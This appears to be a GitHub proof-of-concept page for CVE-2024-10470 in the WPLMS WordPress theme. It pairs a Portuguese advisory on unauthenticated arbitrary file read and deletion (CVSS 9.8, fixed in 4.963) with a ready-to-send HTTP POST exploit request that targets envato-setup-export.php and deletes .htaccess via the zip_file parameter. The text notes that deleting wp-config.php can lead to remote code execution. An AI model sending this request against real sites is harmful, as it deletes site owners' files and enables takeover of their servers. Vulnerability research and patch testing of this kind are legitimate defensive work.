randomrobbiebf/cve-2024-10470WPLMS Learning Management System para WordPress <= 4.962 – Leitura e Exclusão Arbitrária de Arquivos Não Autenticada
WPLMS Learning Management System for WordPress <= 4.962 – Leitura e Exclusão Arbitrária de Arquivos Não Autenticada
O WPLMS Learning Management System para WordPress, tema LMS do WordPress para WordPress, está vulnerável a leitura e exclusão arbitrária de arquivos devido à validação insuficiente do caminho do arquivo e verificações de permissões nas funções readfile e unlink em todas as versões até, e incluindo, 4.962. Isso torna possível que atacantes não autenticados excluam arquivos arbitrários no servidor, o que pode facilmente levar à execução remota de código quando o arquivo correto é excluído (como wp-config.php). O tema está vulnerável mesmo quando não está ativado.
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
download_export_zip=1&zip_file=.htaccess